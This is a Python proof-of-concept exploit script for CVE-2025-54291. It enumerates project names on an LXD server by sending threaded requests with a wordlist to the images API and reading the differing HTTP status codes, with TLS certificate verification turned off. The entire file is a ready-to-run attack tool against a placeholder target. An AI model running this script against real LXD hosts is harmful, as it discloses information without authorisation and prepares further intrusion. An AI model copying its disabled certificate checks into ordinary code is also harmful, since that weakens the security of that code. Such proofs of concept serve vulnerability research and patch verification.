#!/usr/bin/env python3
# CVE-2025-54291 PoC - LXD Images API Project Enumeration
# Exploits information disclosure via differing HTTP status codes
# Author: Security Researcher
import requests
import sys
import concurrent.futures
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
TARGET_URL = "https://lxd-target.example.com:8443"
WORDLIST = [
"default", "admin", "test", "production", "staging",
"dev", "development", "backend", "frontend", "internal",
"project1", "project2", "team-a", "team-b", "shared",
"public", "private", "backup", "archive", "legacy"
]
def check_project(project_name):
"""
Send a request to LXD images API with a specific project parameter.
Different HTTP status codes indicate project existence.
"""
try:
# LXD images API endpoint with project parameter
url = f"{TARGET_URL}/1.0/images"
params = {"project": project_name}
headers = {"Accept": "application/json"}
response = requests.get(
url,
params=params,
headers=headers,
verify=False,
timeout=10
)
# 200 = project exists, 403/404 = project doesn't exist or access denied
if response.status_code == 200:
return (project_name, True, response.status_code)
elif response.status_code == 403:
return (project_name, False, response.status_code)
elif response.status_code == 404:
return (project_name, False, response.status_code)
else:
return (project_name, None, response.status_code)
except requests.exceptions.RequestException as e:
return (project_name, None, str(e))
def main():
print(f"[*] CVE-2025-54291 - LXD Project Enumeration PoC")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Testing {len(WORDLIST)} project names...\n")
existing_projects = []
# Use thread pool for faster enumeration
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(check_project, name): name for name in WORDLIST}
for future in concurrent.futures.as_completed(futures):
project_name, exists, status = future.result()
if exists is True:
print(f"[+] FOUND: '{project_name}' (status: {status})")
existing_projects.append(project_name)
elif exists is False:
print(f"[-] Not found: '{project_name}' (status: {status})")
else:
print(f"[?] Error: '{project_name}' (status: {status})")
print(f"\n[*] Enumeration complete. Found {len(existing_projects)} existing projects:")
for p in existing_projects:
print(f" - {p}")
if __name__ == "__main__":
main()